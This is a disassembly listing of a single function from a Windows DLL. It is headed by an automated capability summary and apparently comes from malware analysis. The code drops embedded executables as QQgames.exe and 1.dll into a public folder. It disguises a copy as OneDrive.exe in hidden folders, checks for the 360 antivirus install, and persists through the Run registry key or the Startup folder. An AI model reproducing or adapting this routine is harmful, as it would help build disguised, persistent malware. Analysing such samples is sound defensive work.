Function at 0x180006ed0
Capabilities:
Check if file exists
Copy file
Create directory
Create shortcut via ishelllink
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x6e0]
sub rsp, 0x7e0
xor r15d, r15d
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r15w
lea r8d, [r15 + 0x45]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea rcx, [rbp + 0x40]
call fcn.1800024f0
nop
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
lea r8d, [r15 + 7]
lea rdx, str.Startup
lea rcx, [rbp + 0x20]
call fcn.1800024f0
nop
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 7
mov word [rbp], r15w
lea r8d, [r15 + 0x2d]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp]
call fcn.1800024f0
nop
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
lea r8d, [r15 + 0xa]
lea rdx, [0x180049490]
lea rcx, [rbp - 0x20]
call fcn.1800024f0
nop
movups xmm0, xmmword [0x1800399f0]
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x718], r15
lea r9, [rbp + 0x718]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8, qword [rbp + 0x718]
lea rdx, str._sOneDrive
lea rcx, [rbp + 0x2c0]
call fcn.18000ccf0
xor edx, edx
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x2c0]
lea rdx, str._scache
lea rcx, [rbp + 0x4d0]
call fcn.18000ccf0
xor edx, edx
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x4d0]
lea rdx, str._sRun
lea rcx, [rbp + 0xb0]
call fcn.18000ccf0
xor edx, edx
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007063
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007087
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r15w
lea rax, [rbp + 0x4d0]
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800070b0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x60]
call fcn.1800024f0
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18000cba0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180007122
lea rsi, [rcx + 0xc]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007105
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x18
lea rdx, str.OneDrive.exe
call fcn.180013d30
mov word [rdi + rsi*2], r15w
jmp 0x180007142
mov qword [rsp + 0x20], 0xc
lea r9, str.OneDrive.exe
mov edx, 0xc
mov rcx, rbx
call fcn.18000e4a0
mov rbx, rax
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800071b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800071af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007be2
call fcn.180011d18
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.18000cba0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1d
jb 0x180007220
lea rsi, [rcx + 0x1d]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007203
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x3a
lea rdx, [0x1800494d8]
call fcn.180013d30
mov word [rdi + rsi*2], r15w
jmp 0x180007240
mov qword [rsp + 0x20], 0x1d
lea r9, [0x1800494d8]
mov edx, 0x1d
mov rcx, rbx
call fcn.18000e4a0
mov rbx, rax
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x1800072b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800072ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007be8
call fcn.180011d18
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], r15w
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp - 0x40]
call fcn.1800024f0
nop
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rsi, qword [rbp - 0x40]
lea rdi, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdi, qword [rsp + 0x60]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, str.C:UsersPublicDownloadsQQgames.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x710]
mov r8d, 0x18638
lea rdx, [0x180089c40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [0x180049570]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x710]
mov r8d, 0x26788
lea rdx, str.AP32
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rax, [rbp + 0xb0]
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180007400
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.1800024f0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.18000cba0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xe
jb 0x180007476
lea rsi, [rcx + 0xe]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007459
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x1c
lea rdx, [0x1800492b0]
call fcn.180013d30
mov word [rdi + rsi*2], r15w
jmp 0x180007496
mov qword [rsp + 0x20], 0xe
lea r9, [0x1800492b0]
mov edx, 0xe
mov rcx, rbx
call fcn.18000e4a0
mov rbx, rax
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x180007508
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bee
call fcn.180011d18
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18000754a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007545
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bf4
call fcn.180011d18
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [0x1800399e0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x180039a10]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1800075f6
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
lea r8, [rbp + 0x720]
lea rdx, [0x180039a00]
call qword [rax]
test eax, eax
js 0x1800075e9
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x720]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x720]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rbx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007629
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x80]
lea rcx, str.C:UsersPublicDownloads1.dll
call fcn.1800068f0
lea rbx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rbx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007663
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, str.C:Program_Files__x86_360_
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800077c5
test al, 0x10
je 0x1800077c5
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rax, [rbp + 0xb0]
inc r14
cmp word [rax + r14*2], 0
jne 0x1800076a1
mov r8, r14
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.1800024f0
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 8
cmovae rdx, qword [rbp + 0x40]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x180007700
lea rdx, str.Failed_to_open_registry_key._Error_code:
jmp 0x180007763
mov eax, dword [rsp + 0x50]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x18000777b
lea rdx, str.Failed_to_set_registry_value._Error_code:
call fcn.18000cd50
mov edx, ebx
mov rcx, rax
call fcn.180009200
mov rcx, rax
call fcn.18000d000
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007906
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bdc
jmp 0x180007900
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
nop
inc r14
cmp word [rdx + r14*2], 0
jne 0x1800077f0
mov r8, r14
lea rcx, [rsp + 0x40]
call fcn.1800024f0
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x180007848
lea rdx, str.Failed_to_open_registry_key._Error_code:
jmp 0x1800078ab
mov eax, dword [rsp + 0x50]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae rdx, qword [rbp - 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x1800078c3
lea rdx, str.Failed_to_set_registry_value._Error_code:
call fcn.18000cd50
mov edx, ebx
mov rcx, rax
call fcn.180009200
mov rcx, rax
call fcn.18000d000
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007906
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bfa
call fcn.180011d18
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x180007946
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c00
call fcn.180011d18
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x180007997
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007992
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c06
call fcn.180011d18
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x1800079e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c0c
call fcn.180011d18
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180007a3b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c12
call fcn.180011d18
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r15w
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x180007a90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c18
call fcn.180011d18
nop
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x180007ad0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007acb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c1e
call fcn.180011d18
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x180007b21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c24
call fcn.180011d18
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 7
mov word [rbp], r15w
mov rdx, qword [rbp + 0x38]
cmp rdx, 8
jb 0x180007b72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c2a
call fcn.180011d18
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x180007bbf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bd6
call fcn.180011d18
mov rbx, qword [rsp + 0x828]
add rsp, 0x7e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
int3
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
nop
call fcn.180018e94
int3